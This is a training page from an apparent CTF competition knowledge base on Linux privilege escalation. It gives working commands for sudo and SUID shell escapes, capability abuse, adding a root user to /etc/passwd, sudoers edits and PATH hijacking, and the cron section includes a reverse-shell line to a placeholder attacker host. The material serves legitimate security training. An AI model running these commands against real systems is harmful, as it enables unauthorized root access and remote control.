Linux Privilege Escalation

Scope

What this is: Escalating from low-privileged user to root on Linux systems.

Competition relevance: Offensive operations (red team CTF). Essential post-exploitation skill.

Why it matters: Initial access is often limited user. Root access required for flags and full compromise.

WSOS 2026 alignment: Supports Section 6: Operations and management (privilege escalation).

Competition area: Core to the offensive operations area, exploiting misconfigurations to escalate privileges.

Offline competence: Use GTFOBins offline, man sudo, and local enumeration scripts. No network required.

---

Competency Matrix

Level	Expectation
Regional	Exploit obvious sudo misconfig (sudo -l). Basic SUID binary abuse.
National	SUID binaries with GTFOBins. Writable /etc/passwd. Cron job abuse.
Squad/Team Selection	Linux capabilities. Kernel exploits. Docker escapes.
International	Advanced container breakouts. Custom exploit development.

---

Technical Content

Sudo Abuse

Check sudo permissions:

sudo -l

Common misconfigurations:

# User can run ANY command as root
(ALL) ALL

# User can run specific command without password
(ALL) NOPASSWD: /usr/bin/vi

# Abuse it
sudo vi
:!sh  # Escape to shell as root

GTFOBins for sudo:

# sudo find
sudo find . -exec /bin/sh \; -quit

# sudo awk
sudo awk 'BEGIN {system("/bin/sh")}'

# sudo python
sudo python -c 'import os; os.system("/bin/sh")'

Competition context: Always run sudo -l first. Check GTFOBins for exploitation methods.

---

SUID Binaries

Find SUID binaries:

find / -perm -4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

Common vulnerable SUID binaries:

find:

find . -exec /bin/sh -p \; -quit

vim:

vim -c ':!sh'

nmap (old versions):

nmap --interactive
!sh

python:

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

Competition context: If custom SUID binary exists, check for buffer overflow or command injection.

---

Capabilities

Check capabilities:

getcap -r / 2>/dev/null

Exploit cap_setuid:

# If python has cap_setuid+ep
python -c 'import os; os.setuid(0); os.system("/bin/sh")'

---

Writable Files

/etc/passwd writable:

# Check if writable
ls -la /etc/passwd

# Generate password hash
openssl passwd -1 -salt salt password123
# Output: $1$salt$qd8...

# Add root user
echo 'hacker:$1$salt$qd8...:0:0:root:/root:/bin/bash' >> /etc/passwd

# Switch to new root user
su hacker

/etc/sudoers writable:

echo 'user ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
sudo su

---

Cron Jobs

Check cron jobs:

crontab -l
ls -la /etc/cron.*
cat /etc/crontab

If script is writable and runs as root:

# Edit script to add reverse shell
echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' >> /path/to/script.sh

# Wait for cron execution

---

PATH Hijacking

If script runs command without full path:

# Script runs: backup.sh (not /usr/bin/backup.sh)

# Create malicious backup.sh
echo '#!/bin/bash' > /tmp/backup.sh
echo '/bin/bash' >> /tmp/backup.sh
chmod +x /tmp/backup.sh

# Modify PATH
export PATH=/tmp:$PATH

# Trigger script execution

---

Competition Strategy & Marking

What gets marked:

• Privilege escalation method identified
• Root shell achieved
• Flag from /root or restricted file
• Write-up explaining technique

Evidence requirements:

• Screenshot showing initial user (whoami, id)
• Screenshot showing root shell (whoami, id)
• Method used for escalation

Evidence and reporting requirements:

• Screenshot showing initial user privileges (whoami, id, groups)
• Screenshot showing root/sudo shell obtained (whoami, id showing uid=0)
• Method used for escalation (sudo abuse, SUID binary, capability, writable file)
• Command history or tool output showing escalation process
• For SUID/capabilities: screenshot showing vulnerable binary (find command output)
• For sudo: screenshot showing sudo -l output with exploitable entry
• Written explanation of privilege escalation vector and impact
• Clear file naming: linuxpriv_before_whoami.png, linuxpriv_root_shell.png, linuxpriv_sudo_exploit.png Time allocation:
• Enumeration: 10 minutes
• Finding vector: 10-15 minutes
• Exploitation: 5-10 minutes

Enumeration checklist:

1. sudo -l
2. SUID binaries
3. Writable /etc files
4. Cron jobs
5. Capabilities
6. Kernel version (for exploits)

Time-boxed drill suggestion: 35-minute Linux privilege escalation sprint: Given a low-privileged Linux user account, enumerate system configuration (sudo -l, SUID binaries, capabilities, writable files in /etc), identify and exploit the most reliable privilege escalation vector using GTFOBins or manual techniques, obtain a root shell, and document all findings with before/after screenshots showing privilege escalation.

---

False Flags / Wrong Paths

Common Traps

Kernel exploits as first resort Kernel exploits can crash system. Try simpler methods first (sudo, SUID).

GTFOBins doesn’t work Some environments have hardened binaries. Try alternatives.

Time-consuming rabbit holes If privesc vector takes >20 minutes, flag may be accessible without root.

---

Practice Checklist

• Can identify sudo misconfigurations
• Can exploit SUID binaries using GTFOBins
• Can abuse writable /etc/passwd
• Can exploit cron jobs
• Can perform PATH hijacking
• Understand Linux capabilities abuse
• Complete privesc in under 25 minutes

---

References

Primary references:

• WSOS 2026: the sections this page supports are listed under Scope
• Competition stage roadmap: See ../../00-roadmaps/ for module-specific guidance

Related topics in this knowledge base:

• Cross-reference related topics as appropriate

External resources (for offline preparation):

• Tool documentation: man pages, —help flags, /usr/share/doc
• Maintain offline copies of key references and tool documentation